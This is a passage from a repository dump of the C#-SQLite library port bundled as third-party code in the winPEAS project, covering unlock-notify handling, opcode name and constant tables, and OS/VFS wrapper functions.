*/ aArg = aStatic; enterMutex(); /* Enter STATIC_MASTER mutex */ /* This loop runs once for each entry in the blocked-connections list. */ for(pp=&sqlite3BlockedList; *pp; /* no-op */ ){ sqlite3 *p = *pp; /* Step 1. */ if( p->pBlockingConnection==db ){ p->pBlockingConnection = 0; } /* Step 2. */ if( p->pUnlockConnection==db ){ assert( p->xUnlockNotify ); if( p->xUnlockNotify!=xUnlockNotify && nArg!=0 ){ xUnlockNotify(aArg, nArg); nArg = 0; } sqlite3BeginBenignMalloc(); assert( aArg==aDyn || (aDyn==0 && aArg==aStatic) ); assert( nArg<=(int)ArraySize(aStatic) || aArg==aDyn ); if( (!aDyn && nArg==(int)ArraySize(aStatic)) || (aDyn && nArg==(int)(sqlite3DbMallocSize(db, aDyn)/sizeof(void*))) ){ /* The aArg[] array needs to grow. */ void **pNew = (void **)sqlite3Malloc(nArg*sizeof(void *)*2); if( pNew ){ memcpy(pNew, aArg, nArg*sizeof(void *)); //sqlite3_free(aDyn); aDyn = aArg = pNew; }else{ /* This occurs when the array of context pointers that need to ** be passed to the unlock-notify callback is larger than the ** aStatic[] array allocated on the stack and the attempt to ** allocate a larger array from the heap has failed. ** ** This is a difficult situation to handle. Returning an error ** code to the caller is insufficient, as even if an error code ** is returned the transaction on connection db will still be ** closed and the unlock-notify callbacks on blocked connections ** will go unissued. This might cause the application to wait ** indefinitely for an unlock-notify callback that will never ** arrive. ** ** Instead, invoke the unlock-notify callback with the context ** array already accumulated. We can then clear the array and ** begin accumulating any further context pointers without ** requiring any dynamic allocation. This is sub-optimal because ** it means that instead of one callback with a large array of ** context pointers the application will receive two or more ** callbacks with smaller arrays of context pointers, which will ** reduce the applications ability to prioritize multiple ** connections. But it is the best that can be done under the ** circumstances. */ xUnlockNotify(aArg, nArg); nArg = 0; } } sqlite3EndBenignMalloc(); aArg[nArg++] = p->pUnlockArg; xUnlockNotify = p->xUnlockNotify; p->pUnlockConnection = 0; p->xUnlockNotify = 0; p->pUnlockArg = 0; } /* Step 3. */ if( p->pBlockingConnection==0 && p->pUnlockConnection==0 ){ /* Remove connection p from the blocked connections list. */ *pp = p->pNextBlocked; p->pNextBlocked = 0; }else{ pp = &p->pNextBlocked; } } if( nArg!=0 ){ xUnlockNotify(aArg, nArg); } //sqlite3_free(aDyn); leaveMutex(); /* Leave STATIC_MASTER mutex */ } /* ** This is called when the database connection passed as an argument is ** being closed. The connection is removed from the blocked list. */ void sqlite3ConnectionClosed(sqlite3 *db){ sqlite3ConnectionUnlocked(db); enterMutex(); removeFromBlockedList(db); checkListProperties(db); leaveMutex(); } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/opcodes_c.cs ================================================ /* ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/opcodes_c.cs $ ** Revision : $Revision$ ** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ ** Last Changed By : $LastChangedBy: noah.hart $ ************************************************************************* */ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* Automatically generated. Do not edit */ /* See the mkopcodec.awk script for details. */ #if !SQLITE_OMIT_EXPLAIN || !NDEBUG || VDBE_PROFILE || SQLITE_DEBUG static string sqlite3OpcodeName( int i ) { string[] azName = { "?", /* 1 */ "VNext", /* 2 */ "Affinity", /* 3 */ "Column", /* 4 */ "SetCookie", /* 5 */ "Seek", /* 6 */ "Sequence", /* 7 */ "Savepoint", /* 8 */ "RowKey", /* 9 */ "SCopy", /* 10 */ "OpenWrite", /* 11 */ "If", /* 12 */ "CollSeq", /* 13 */ "OpenRead", /* 14 */ "Expire", /* 15 */ "AutoCommit", /* 16 */ "Pagecount", /* 17 */ "IntegrityCk", /* 18 */ "Sort", /* 19 */ "Not", /* 20 */ "Copy", /* 21 */ "Trace", /* 22 */ "Function", /* 23 */ "IfNeg", /* 24 */ "Noop", /* 25 */ "Return", /* 26 */ "NewRowid", /* 27 */ "Variable", /* 28 */ "String", /* 29 */ "RealAffinity", /* 30 */ "VRename", /* 31 */ "ParseSchema", /* 32 */ "VOpen", /* 33 */ "Close", /* 34 */ "CreateIndex", /* 35 */ "IsUnique", /* 36 */ "NotFound", /* 37 */ "Int64", /* 38 */ "MustBeInt", /* 39 */ "Halt", /* 40 */ "Rowid", /* 41 */ "IdxLT", /* 42 */ "AddImm", /* 43 */ "Statement", /* 44 */ "RowData", /* 45 */ "MemMax", /* 46 */ "NotExists", /* 47 */ "Gosub", /* 48 */ "Integer", /* 49 */ "Prev", /* 50 */ "RowSetRead", /* 51 */ "RowSetAdd", /* 52 */ "VColumn", /* 53 */ "CreateTable", /* 54 */ "Last", /* 55 */ "SeekLe", /* 56 */ "IncrVacuum", /* 57 */ "IdxRowid", /* 58 */ "ResetCount", /* 59 */ "ContextPush", /* 60 */ "Yield", /* 61 */ "DropTrigger", /* 62 */ "DropIndex", /* 63 */ "IdxGE", /* 64 */ "IdxDelete", /* 65 */ "Vacuum", /* 66 */ "Or", /* 67 */ "And", /* 68 */ "IfNot", /* 69 */ "DropTable", /* 70 */ "SeekLt", /* 71 */ "IsNull", /* 72 */ "NotNull", /* 73 */ "Ne", /* 74 */ "Eq", /* 75 */ "Gt", /* 76 */ "Le", /* 77 */ "Lt", /* 78 */ "Ge", /* 79 */ "MakeRecord", /* 80 */ "BitAnd", /* 81 */ "BitOr", /* 82 */ "ShiftLeft", /* 83 */ "ShiftRight", /* 84 */ "Add", /* 85 */ "Subtract", /* 86 */ "Multiply", /* 87 */ "Divide", /* 88 */ "Remainder", /* 89 */ "Concat", /* 90 */ "ResultRow", /* 91 */ "Delete", /* 92 */ "AggFinal", /* 93 */ "BitNot", /* 94 */ "String8", /* 95 */ "Compare", /* 96 */ "Goto", /* 97 */ "TableLock", /* 98 */ "Clear", /* 99 */ "VerifyCookie", /* 100 */ "AggStep", /* 101 */ "SetNumColumns", /* 102 */ "Transaction", /* 103 */ "VFilter", /* 104 */ "VDestroy", /* 105 */ "ContextPop", /* 106 */ "Next", /* 107 */ "Count", /* 108 */ "IdxInsert", /* 109 */ "SeekGe", /* 110 */ "Insert", /* 111 */ "Destroy", /* 112 */ "ReadCookie", /* 113 */ "RowSetTest", /* 114 */ "LoadAnalysis", /* 115 */ "Explain", /* 116 */ "HaltIfNull", /* 117 */ "OpenPseudo", /* 118 */ "OpenEphemeral", /* 119 */ "Null", /* 120 */ "Move", /* 121 */ "Blob", /* 122 */ "Rewind", /* 123 */ "SeekGt", /* 124 */ "VBegin", /* 125 */ "VUpdate", /* 126 */ "IfZero", /* 127 */ "VCreate", /* 128 */ "Found", /* 129 */ "IfPos", /* 130 */ "Real", /* 131 */ "NullRow", /* 132 */ "Jump", /* 133 */ "Permutation", /* 134 */ "NotUsed_134", /* 135 */ "NotUsed_135", /* 136 */ "NotUsed_136", /* 137 */ "NotUsed_137", /* 138 */ "NotUsed_138", /* 139 */ "NotUsed_139", /* 140 */ "NotUsed_140", /* 141 */ "ToText", /* 142 */ "ToBlob", /* 143 */ "ToNumeric", /* 144 */ "ToInt", /* 145 */ "ToReal", }; return azName[i]; } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/opcodes_h.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* Automatically generated. Do not edit */ /* See the mkopcodeh.awk script for details */ /* Automatically generated. Do not edit */ /* See the mkopcodeh.awk script for details */ //#define OP_VNext 1 //#define OP_Affinity 2 //#define OP_Column 3 //#define OP_SetCookie 4 //#define OP_Seek 5 //#define OP_Real 130 /* same as TK_FLOAT */ //#define OP_Sequence 6 //#define OP_Savepoint 7 //#define OP_Ge 78 /* same as TK_GE */ //#define OP_RowKey 8 //#define OP_SCopy 9 //#define OP_Eq 74 /* same as TK_EQ */ //#define OP_OpenWrite 10 //#define OP_NotNull 72 /* same as TK_NOTNULL */ //#define OP_If 11 //#define OP_ToInt 144 /* same as TK_TO_INT */ //#define OP_String8 94 /* same as TK_STRING */ //#define OP_CollSeq 12 //#define OP_OpenRead 13 //#define OP_Expire 14 //#define OP_AutoCommit 15 //#define OP_Gt 75 /* same as TK_GT */ //#define OP_Pagecount 16 //#define OP_IntegrityCk 17 //#define OP_Sort 18 //#define OP_Copy 20 //#define OP_Trace 21 //#define OP_Function 22 //#define OP_IfNeg 23 //#define OP_And 67 /* same as TK_AND */ //#define OP_Subtract 85 /* same as TK_MINUS */ //#define OP_Noop 24 //#define OP_Return 25 //#define OP_Remainder 88 /* same as TK_REM */ //#define OP_NewRowid 26 //#define OP_Multiply 86 /* same as TK_STAR */ //#define OP_Variable 27 //#define OP_String 28 //#define OP_RealAffinity 29 //#define OP_VRename 30 //#define OP_ParseSchema 31 //#define OP_VOpen 32 //#define OP_Close 33 //#define OP_CreateIndex 34 //#define OP_IsUnique 35 //#define OP_NotFound 36 //#define OP_Int64 37 //#define OP_MustBeInt 38 //#define OP_Halt 39 //#define OP_Rowid 40 //#define OP_IdxLT 41 //#define OP_AddImm 42 //#define OP_Statement 43 //#define OP_RowData 44 //#define OP_MemMax 45 //#define OP_Or 66 /* same as TK_OR */ //#define OP_NotExists 46 //#define OP_Gosub 47 //#define OP_Divide 87 /* same as TK_SLASH */ //#define OP_Integer 48 //#define OP_ToNumeric 143 /* same as TK_TO_NUMERIC*/ //#define OP_Prev 49 //#define OP_RowSetRead 50 //#define OP_Concat 89 /* same as TK_CONCAT */ //#define OP_RowSetAdd 51 //#define OP_BitAnd 80 /* same as TK_BITAND */ //#define OP_VColumn 52 //#define OP_CreateTable 53 //#define OP_Last 54 //#define OP_SeekLe 55 //#define OP_IsNull 71 /* same as TK_ISNULL */ //#define OP_IncrVacuum 56 //#define OP_IdxRowid 57 //#define OP_ShiftRight 83 /* same as TK_RSHIFT */ //#define OP_ResetCount 58 //#define OP_ContextPush 59 //#define OP_Yield 60 //#define OP_DropTrigger 61 //#define OP_DropIndex 62 //#define OP_IdxGE 63 //#define OP_IdxDelete 64 //#define OP_Vacuum 65 //#define OP_IfNot 68 //#define OP_DropTable 69 //#define OP_SeekLt 70 //#define OP_MakeRecord 79 //#define OP_ToBlob 142 /* same as TK_TO_BLOB */ //#define OP_ResultRow 90 //#define OP_Delete 91 //#define OP_AggFinal 92 //#define OP_Compare 95 //#define OP_ShiftLeft 82 /* same as TK_LSHIFT */ //#define OP_Goto 96 //#define OP_TableLock 97 //#define OP_Clear 98 //#define OP_Le 76 /* same as TK_LE */ //#define OP_VerifyCookie 99 //#define OP_AggStep 100 //#define OP_ToText 141 /* same as TK_TO_TEXT */ //#define OP_Not 19 /* same as TK_NOT */ //#define OP_ToReal 145 /* same as TK_TO_REAL */ //#define OP_SetNumColumns 101 //#define OP_Transaction 102 //#define OP_VFilter 103 //#define OP_Ne 73 /* same as TK_NE */ //#define OP_VDestroy 104 //#define OP_ContextPop 105 //#define OP_BitOr 81 /* same as TK_BITOR */ //#define OP_Next 106 //#define OP_Count 107 //#define OP_IdxInsert 108 //#define OP_Lt 77 /* same as TK_LT */ //#define OP_SeekGe 109 //#define OP_Insert 110 //#define OP_Destroy 111 //#define OP_ReadCookie 112 //#define OP_RowSetTest 113 //#define OP_LoadAnalysis 114 //#define OP_Explain 115 //#define OP_HaltIfNull 116 //#define OP_OpenPseudo 117 //#define OP_OpenEphemeral 118 //#define OP_Null 119 //#define OP_Move 120 //#define OP_Blob 121 //#define OP_Add 84 /* same as TK_PLUS */ //#define OP_Rewind 122 //#define OP_SeekGt 123 //#define OP_VBegin 124 //#define OP_VUpdate 125 //#define OP_IfZero 126 //#define OP_BitNot 93 /* same as TK_BITNOT */ //#define OP_VCreate 127 //#define OP_Found 128 //#define OP_IfPos 129 //#define OP_NullRow 131 //#define OP_Jump 132 //#define OP_Permutation 133 const int OP_VNext = 1; const int OP_Affinity = 2; const int OP_Column = 3; const int OP_SetCookie = 4; const int OP_Seek = 5; const int OP_Real = 130; /* same as TK_FLOAT=*/ const int OP_Sequence = 6; const int OP_Savepoint = 7; const int OP_Ge = 78; /* same as TK_GE= */ const int OP_RowKey = 8; const int OP_SCopy = 9; const int OP_Eq = 74; /* same as TK_EQ= */ const int OP_OpenWrite = 10; const int OP_NotNull = 72; /* same as TK_NOTNULL */ const int OP_If = 11; const int OP_ToInt = 144; /* same as TK_TO_INT */ const int OP_String8 = 94; /* same as TK_STRING */ const int OP_CollSeq = 12; const int OP_OpenRead = 13; const int OP_Expire = 14; const int OP_AutoCommit = 15; const int OP_Gt = 75; /* same as TK_GT= */ const int OP_Pagecount = 16; const int OP_IntegrityCk = 17; const int OP_Sort = 18; const int OP_Copy = 20; const int OP_Trace = 21; const int OP_Function = 22; const int OP_IfNeg = 23; const int OP_And = 67;/* same as TK_AND= */ const int OP_Subtract = 85; /* same as TK_MINUS=*/ const int OP_Noop = 24; const int OP_Return = 25; const int OP_Remainder = 88; /* same as TK_REM= */ const int OP_NewRowid = 26; const int OP_Multiply = 86; /* same as TK_STAR= */ const int OP_Variable = 27; const int OP_String = 28; const int OP_RealAffinity = 29; const int OP_VRename = 30; const int OP_ParseSchema = 31; const int OP_VOpen = 32; const int OP_Close = 33; const int OP_CreateIndex = 34; const int OP_IsUnique = 35; const int OP_NotFound = 36; const int OP_Int64 = 37; const int OP_MustBeInt = 38; const int OP_Halt = 39; const int OP_Rowid = 40; const int OP_IdxLT = 41; const int OP_AddImm = 42; const int OP_Statement = 43; const int OP_RowData = 44; const int OP_MemMax = 45; const int OP_Or = 66; /* same as TK_OR= */ const int OP_NotExists = 46; const int OP_Gosub = 47; const int OP_Divide = 87;/* same as TK_SLASH=*/ const int OP_Integer = 48; const int OP_ToNumeric = 143; /* same as TK_TO_NUMERIC*/ const int OP_Prev = 49; const int OP_RowSetRead = 50; const int OP_Concat = 89; /* same as TK_CONCAT */ const int OP_RowSetAdd = 51; const int OP_BitAnd = 80; /* same as TK_BITAND */ const int OP_VColumn = 52; const int OP_CreateTable = 53; const int OP_Last = 54; const int OP_SeekLe = 55; const int OP_IsNull = 71; /* same as TK_ISNULL */ const int OP_IncrVacuum = 56; const int OP_IdxRowid = 57; const int OP_ShiftRight = 83; /* same as TK_RSHIFT */ const int OP_ResetCount = 58; const int OP_ContextPush = 59; const int OP_Yield = 60; const int OP_DropTrigger = 61; const int OP_DropIndex = 62; const int OP_IdxGE = 63; const int OP_IdxDelete = 64; const int OP_Vacuum = 65; const int OP_IfNot = 68; const int OP_DropTable = 69; const int OP_SeekLt = 70; const int OP_MakeRecord = 79; const int OP_ToBlob = 142; /* same as TK_TO_BLOB */ const int OP_ResultRow = 90; const int OP_Delete = 91; const int OP_AggFinal = 92; const int OP_Compare = 95; const int OP_ShiftLeft = 82; /* same as TK_LSHIFT */ const int OP_Goto = 96; const int OP_TableLock = 97; const int OP_Clear = 98; const int OP_Le = 76; /* same as TK_LE= */ const int OP_VerifyCookie = 99; const int OP_AggStep = 100; const int OP_ToText = 141; /* same as TK_TO_TEXT */ const int OP_Not = 19; /* same as TK_NOT= */ const int OP_ToReal = 145;/* same as TK_TO_REAL */ const int OP_SetNumColumns = 101; const int OP_Transaction = 102; const int OP_VFilter = 103; const int OP_Ne = 73; /* same as TK_NE= */ const int OP_VDestroy = 104; const int OP_ContextPop = 105; const int OP_BitOr = 81; /* same as TK_BITOR=*/ const int OP_Next = 106; const int OP_Count = 107; const int OP_IdxInsert = 108; const int OP_Lt = 77; /* same as TK_LT= */ const int OP_SeekGe = 109; const int OP_Insert = 110; const int OP_Destroy = 111; const int OP_ReadCookie = 112; const int OP_RowSetTest = 113; const int OP_LoadAnalysis = 114; const int OP_Explain = 115; const int OP_HaltIfNull = 116; const int OP_OpenPseudo = 117; const int OP_OpenEphemeral = 118; const int OP_Null = 119; const int OP_Move = 120; const int OP_Blob = 121; const int OP_Add = 84; /* same as TK_PLUS= */ const int OP_Rewind = 122; const int OP_SeekGt = 123; const int OP_VBegin = 124; const int OP_VUpdate = 125; const int OP_IfZero = 126; const int OP_BitNot = 93;/* same as TK_BITNOT */ const int OP_VCreate = 127; const int OP_Found = 128; const int OP_IfPos = 129; const int OP_NullRow = 131; const int OP_Jump = 132; const int OP_Permutation = 133; /* The following opcode values are never used */ //#define OP_NotUsed_134 134 //#define OP_NotUsed_135 135 //#define OP_NotUsed_136 136 //#define OP_NotUsed_137 137 //#define OP_NotUsed_138 138 //#define OP_NotUsed_139 139 //#define OP_NotUsed_140 140 /* The following opcode values are never used */ const int OP_NotUsed_134 = 134; const int OP_NotUsed_135 = 135; const int OP_NotUsed_136 = 136; const int OP_NotUsed_137 = 137; const int OP_NotUsed_138 = 138; const int OP_NotUsed_139 = 139; const int OP_NotUsed_140 = 140; /* Properties such as "out2" or "jump" that are specified in ** comments following the "case" for each opcode in the vdbe.c ** are encoded into bitvectors as follows: */ //#define OPFLG_JUMP 0x0001 /* jump: P2 holds jmp target */ //#define OPFLG_OUT2_PRERELEASE 0x0002 /* out2-prerelease: */ //#define OPFLG_IN1 0x0004 /* in1: P1 is an input */ //#define OPFLG_IN2 0x0008 /* in2: P2 is an input */ //#define OPFLG_IN3 0x0010 /* in3: P3 is an input */ //#define OPFLG_OUT3 0x0020 /* out3: P3 is an output */ const int OPFLG_JUMP = 0x0001; /* jump: P2 holds jmp target */ const int OPFLG_OUT2_PRERELEASE = 0x0002; /* out2-prerelease: */ const int OPFLG_IN1 = 0x0004; /* in1: P1 is an input */ const int OPFLG_IN2 = 0x0008; /* in2: P2 is an input */ const int OPFLG_IN3 = 0x0010; /* in3: P3 is an input */ const int OPFLG_OUT3 = 0x0020; /* out3: P3 is an output */ public static int[] OPFLG_INITIALIZER = new int[]{ /* 0 */ 0x00, 0x01, 0x00, 0x00, 0x10, 0x08, 0x02, 0x00, /* 8 */ 0x00, 0x04, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, /* 16 */ 0x02, 0x00, 0x01, 0x04, 0x04, 0x00, 0x00, 0x05, /* 24 */ 0x00, 0x04, 0x02, 0x00, 0x02, 0x04, 0x00, 0x00, /* 32 */ 0x00, 0x00, 0x02, 0x11, 0x11, 0x02, 0x05, 0x00, /* 40 */ 0x02, 0x11, 0x04, 0x00, 0x00, 0x0c, 0x11, 0x01, /* 48 */ 0x02, 0x01, 0x21, 0x08, 0x00, 0x02, 0x01, 0x11, /* 56 */ 0x01, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11, /* 64 */ 0x00, 0x00, 0x2c, 0x2c, 0x05, 0x00, 0x11, 0x05, /* 72 */ 0x05, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x00, /* 80 */ 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, /* 88 */ 0x2c, 0x2c, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00, /* 96 */ 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, /* 104 */ 0x00, 0x00, 0x01, 0x02, 0x08, 0x11, 0x00, 0x02, /* 112 */ 0x02, 0x15, 0x00, 0x00, 0x10, 0x00, 0x00, 0x02, /* 120 */ 0x00, 0x02, 0x01, 0x11, 0x00, 0x00, 0x05, 0x00, /* 128 */ 0x11, 0x05, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, /* 136 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04, /* 144 */ 0x04, 0x04, }; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_c.cs ================================================ using System.Diagnostics; using System.Text; using HANDLE = System.IntPtr; using i64 = System.Int64; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2005 November 29 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This file contains OS interface code that is common to all ** architectures. ** ** $Id: os.c,v 1.127 2009/07/27 11:41:21 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#define _SQLITE_OS_C_ 1 //#include "sqliteInt.h" //#undef _SQLITE_OS_C_ /* ** The default SQLite sqlite3_vfs implementations do not allocate ** memory (actually, os_unix.c allocates a small amount of memory ** from within OsOpen()), but some third-party implementations may. ** So we test the effects of a malloc() failing and the sqlite3OsXXX() ** function returning SQLITE_IOERR_NOMEM using the DO_OS_MALLOC_TEST macro. ** ** The following functions are instrumented for malloc() failure ** testing: ** ** sqlite3OsOpen() ** sqlite3OsRead() ** sqlite3OsWrite() ** sqlite3OsSync() ** sqlite3OsLock() ** */ #if (SQLITE_TEST) && !SQLITE_OS_WIN //#define DO_OS_MALLOC_TEST(x) if (!x || !sqlite3IsMemJournal(x)) { \ void *pTstAlloc = sqlite3Malloc(10); \ if (!pTstAlloc) return SQLITE_IOERR_NOMEM; \ //sqlite3_free(pTstAlloc); \ } #else //#define DO_OS_MALLOC_TEST(x) static void DO_OS_MALLOC_TEST( sqlite3_file x ) { } #endif /* ** The following routines are convenience wrappers around methods ** of the sqlite3_file object. This is mostly just syntactic sugar. All ** of this would be completely automatic if SQLite were coded using ** C++ instead of plain old C. */ static int sqlite3OsClose( sqlite3_file pId ) { int rc = SQLITE_OK; if ( pId.pMethods != null ) { rc = pId.pMethods.xClose( pId ); pId.pMethods = null; } return rc; } static int sqlite3OsRead( sqlite3_file id, byte[] pBuf, int amt, i64 offset ) { DO_OS_MALLOC_TEST( id ); if ( pBuf == null ) pBuf = new byte[amt]; return id.pMethods.xRead( id, pBuf, amt, offset ); } static int sqlite3OsWrite( sqlite3_file id, byte[] pBuf, int amt, i64 offset ) { DO_OS_MALLOC_TEST( id ); return id.pMethods.xWrite( id, pBuf, amt, offset ); } static int sqlite3OsTruncate( sqlite3_file id, i64 size ) { return id.pMethods.xTruncate( id, size ); } static int sqlite3OsSync( sqlite3_file id, int flags ) { DO_OS_MALLOC_TEST( id ); return id.pMethods.xSync( id, flags ); } static int sqlite3OsFileSize( sqlite3_file id, ref int pSize ) { return id.pMethods.xFileSize( id, ref pSize ); } static int sqlite3OsLock( sqlite3_file id, int lockType ) { DO_OS_MALLOC_TEST( id ); return id.pMethods.xLock( id, lockType ); } static int sqlite3OsUnlock( sqlite3_file id, int lockType ) { return id.pMethods.xUnlock( id, lockType ); } static int sqlite3OsCheckReservedLock( sqlite3_file id, ref int pResOut ) { DO_OS_MALLOC_TEST( id ); return id.pMethods.xCheckReservedLock( id, ref pResOut ); } static int sqlite3OsFileControl( sqlite3_file id, u32 op, ref int pArg ) { return id.pMethods.xFileControl( id, (int)op, ref pArg ); } static int sqlite3OsSectorSize( sqlite3_file id ) { dxSectorSize xSectorSize = id.pMethods.xSectorSize; return ( xSectorSize != null ? xSectorSize( id ) : SQLITE_DEFAULT_SECTOR_SIZE ); } static int sqlite3OsDeviceCharacteristics( sqlite3_file id ) { return id.pMethods.xDeviceCharacteristics( id ); } /* ** The next group of routines are convenience wrappers around the ** VFS methods. */ static int sqlite3OsOpen( sqlite3_vfs pVfs, string zPath, sqlite3_file pFile, int flags, ref int pFlagsOut ) { int rc; DO_OS_MALLOC_TEST( null ); rc = pVfs.xOpen( pVfs, zPath, pFile, flags, ref pFlagsOut ); Debug.Assert( rc == SQLITE_OK || pFile.pMethods == null ); return rc; } static int sqlite3OsDelete( sqlite3_vfs pVfs, string zPath, int dirSync ) { return pVfs.xDelete( pVfs, zPath, dirSync ); } static int sqlite3OsAccess( sqlite3_vfs pVfs, string zPath, int flags, ref int pResOut ) { DO_OS_MALLOC_TEST( null ); return pVfs.xAccess( pVfs, zPath, flags, ref pResOut ); } static int sqlite3OsFullPathname( sqlite3_vfs pVfs, string zPath, int nPathOut, StringBuilder zPathOut ) { return pVfs.xFullPathname( pVfs, zPath, nPathOut, zPathOut ); } #if !SQLITE_OMIT_LOAD_EXTENSION static HANDLE sqlite3OsDlOpen( sqlite3_vfs pVfs, string zPath ) { return pVfs.xDlOpen( pVfs, zPath ); } static void sqlite3OsDlError( sqlite3_vfs pVfs, int nByte, ref string zBufOut ) { pVfs.xDlError( pVfs, nByte, ref zBufOut ); } static object sqlite3OsDlSym( sqlite3_vfs pVfs, HANDLE pHdle, ref string zSym ) { return pVfs.xDlSym( pVfs, pHdle, zSym ); } static void sqlite3OsDlClose( sqlite3_vfs pVfs, HANDLE pHandle ) { pVfs.xDlClose( pVfs, pHandle ); } #endif static int sqlite3OsRandomness( sqlite3_vfs pVfs, int nByte, ref byte[] zBufOut ) { return pVfs.xRandomness( pVfs, nByte, ref zBufOut ); } static int sqlite3OsSleep( sqlite3_vfs pVfs, int nMicro ) { return pVfs.xSleep( pVfs, nMicro ); } static int sqlite3OsCurrentTime( sqlite3_vfs pVfs, ref double pTimeOut ) { return pVfs.xCurrentTime( pVfs, ref pTimeOut ); } static int sqlite3OsOpenMalloc( ref sqlite3_vfs pVfs, string zFile, ref sqlite3_file ppFile, int flags, ref int pOutFlags ) { int rc = SQLITE_NOMEM; sqlite3_file pFile; pFile = new sqlite3_file(); //sqlite3Malloc(ref pVfs.szOsFile); if ( pFile != null ) { rc = sqlite3OsOpen( pVfs, zFile, pFile, flags, ref pOutFlags ); if ( rc != SQLITE_OK ) { pFile = null; // was //sqlite3DbFree(db,ref pFile); } else { ppFile = pFile; } } return rc; } static int sqlite3OsCloseFree( sqlite3_file pFile ) { int rc = SQLITE_OK; Debug.Assert( pFile != null ); rc = sqlite3OsClose( pFile ); //sqlite3_free( ref pFile ); return rc; } /* ** The list of all registered VFS implementations. */ static sqlite3_vfs vfsList; //#define vfsList GLOBAL(sqlite3_vfs *, vfsList) /* ** Locate a VFS by name. If no name is given, simply return the ** first VFS on the list. */ static bool isInit = false; static sqlite3_vfs sqlite3_vfs_find( string zVfs ) { sqlite3_vfs pVfs = null; #if SQLITE_THREADSAFE sqlite3_mutex mutex; #endif #if !SQLITE_OMIT_AUTOINIT int rc = sqlite3_initialize(); if ( rc != 0 ) return null; #endif #if SQLITE_THREADSAFE mutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); #endif sqlite3_mutex_enter( mutex ); for ( pVfs = vfsList ; pVfs != null ; pVfs = pVfs.pNext ) { if ( zVfs == null || zVfs == "" ) break; if ( zVfs == pVfs.zName ) break; //strcmp(zVfs, pVfs.zName) == null) break; } sqlite3_mutex_leave( mutex ); return pVfs; } /* ** Unlink a VFS from the linked list */ static void vfsUnlink( sqlite3_vfs pVfs ) { Debug.Assert( sqlite3_mutex_held( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ) ); if ( pVfs == null ) { /* No-op */ } else if ( vfsList == pVfs ) { vfsList = pVfs.pNext; } else if ( vfsList != null ) { sqlite3_vfs p = vfsList; while ( p.pNext != null && p.pNext != pVfs ) { p = p.pNext; } if ( p.pNext == pVfs ) { p.pNext = pVfs.pNext; } } } /* ** Register a VFS with the system. It is harmless to register the same ** VFS multiple times. The new VFS becomes the default if makeDflt is ** true. */ static int sqlite3_vfs_register( sqlite3_vfs pVfs, int makeDflt ) { sqlite3_mutex mutex; #if !SQLITE_OMIT_AUTOINIT int rc = sqlite3_initialize(); if ( rc != 0 ) return rc; #endif mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); sqlite3_mutex_enter( mutex ); vfsUnlink( pVfs ); if ( makeDflt != 0 || vfsList == null ) { pVfs.pNext = vfsList; vfsList = pVfs; } else { pVfs.pNext = vfsList.pNext; vfsList.pNext = pVfs; } Debug.Assert( vfsList != null ); sqlite3_mutex_leave( mutex ); return SQLITE_OK; } /* ** Unregister a VFS so that it is no longer accessible. */ static int sqlite3_vfs_unregister( sqlite3_vfs pVfs ) { #if SQLITE_THREADSAFE sqlite3_mutex mutex = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); #endif sqlite3_mutex_enter( mutex ); vfsUnlink( pVfs ); sqlite3_mutex_leave( mutex ); return SQLITE_OK; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_common_h.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2004 May 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This file contains macros and a little bit of code that is common to ** all of the platform-specific files (os_*.c) and is #included into those ** files. ** ** This file should be #included by the os_*.c files only. It is not a ** general purpose header file. ** ** $Id: os_common.h,v 1.38 2009/02/24 18:40:50 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_OS_COMMON_H_ //#define _OS_COMMON_H_ /* ** At least two bugs have slipped in because we changed the MEMORY_DEBUG ** macro to SQLITE_DEBUG and some older makefiles have not yet made the ** switch. The following code should catch this problem at compile-time. */ #if MEMORY_DEBUG //# error "The MEMORY_DEBUG macro is obsolete. Use SQLITE_DEBUG instead." #endif #if SQLITE_DEBUG || TRACE static bool sqlite3OsTrace = false; static void OSTRACE1( string X ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X ); } static void OSTRACE2( string X, object Y ) { if ( sqlite3OsTrace ) sqlite3DebugPrintf( X, Y ); } static void OSTRACE3( string X, 